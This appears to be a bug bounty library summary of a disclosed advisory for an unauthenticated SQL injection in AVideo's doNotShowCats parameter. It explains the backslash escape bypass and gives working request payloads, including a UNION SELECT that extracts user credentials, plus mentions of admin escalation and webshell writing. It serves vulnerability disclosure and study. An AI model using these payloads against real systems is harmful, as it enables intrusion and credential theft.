# AVideo has an Unauthenticated SQL Injection via `doNotShowCats` Parameter (Backslash Escape Bypass)

Unauthenticated SQL injection in AVideo's doNotShowCats array parameter bypasses single-quote stripping via backslash escaping, enabling UNION extraction of user credentials.

- Payout: Research
- Severity: critical
- Program: AVideo
- Found by: iconnnjka
- Disclosed: 2026-03-19
- CVE: CVE-2026-33352
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-mcj5-6qr4-95fj
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-mcj5-6qr4-95fj
- Tags: area:web domain:web impact:ato impact:data-leak kind:research platform:ghsa sev:critical tech:php technique:chained technique:source-review vuln:sqli

**Target:** PHP web app endpoint /categories.json.php (getAllCategories in objects/category.php)
**Root cause:** doNotShowCats array elements are sanitized only with str_replace("'",'') which leaves backslashes intact, and values are concatenated via implode into a NOT IN (...) SQL clause without parameterization; the parameter is also absent from all global filters in objects/security.php.
**Steps:**
1. Send `GET /categories.json.php?doNotShowCats[0]=\&doNotShowCats[1]=)%20OR%201=1)--%20-`
2. str_replace strips no quotes, leaving element 0 = `\` and element 1 = `) OR 1=1)-- -`
3. implode("', '", ...) yields `\', ') OR 1=1)-- -` producing SQL `AND (c.clean_name NOT IN ('\', ') OR 1=1)-- -') )`
4. MySQL treats `\` as escaping the following quote, making it a literal quote inside the string; the string continues through `, ` and closes at element 1's opening quote, making `) OR 1=1)` executable and `-- -` comments the rest
5. For extraction, use `doNotShowCats[0]=\&doNotShowCats[1]=))%20UNION%20SELECT%201,user,password,4,5,6,7,8,9,10,11,12,13,14%20FROM%20users--%20-`, matching the original column count via iterative probing
**How found:** Code review of getAllCategories() spotted the lone str_replace("'",'') sanitizer, noted backslashes survive, and observed the parameter missing from every filter list in objects/security.php; reasoned that MySQL's default backslash escaping would let one array element escape the implode-inserted quote and free the next element as SQL.
**Exploitation:** Unauthenticated attacker hits categories.json.php with a two-element doNotShowCats array; the backslash in element 0 escapes the implode-added quote, shifting the string boundary so element 1 becomes live SQL. Boolean `OR 1=1` confirms injection; UNION SELECT against the users table dumps usernames and password hashes. Stacked queries/subqueries could modify data (e.g. UPDATE users SET isAdmin=1), and INTO OUTFILE could write a PHP webshell where permitted.
**Escalation:** From boolean injection to UNION-based credential extraction; potential RCE via SELECT ... INTO OUTFILE writing a PHP shell to the document root.
**Insight:** When a sanitizer strips only one quote character, check whether the DB's escape character (backslash in MySQL) survives; in array-to-IN-list concatenation, a single element can escape the delimiter quote and promote the next element to executable SQL.

## Proof of concept (copied exactly from the original report)

**Unauthenticated SQLi request via doNotShowCats backslash bypass**

```
GET /categories.json.php?doNotShowCats[0]=\&doNotShowCats[1]=)%20OR%201=1)--%20-
```

**UNION-based data extraction payload**

```
GET /categories.json.php?doNotShowCats[0]=\&doNotShowCats[1]=))%20UNION%20SELECT%201,user,password,4,5,6,7,8,9,10,11,12,13,14%20FROM%20users--%20-
```

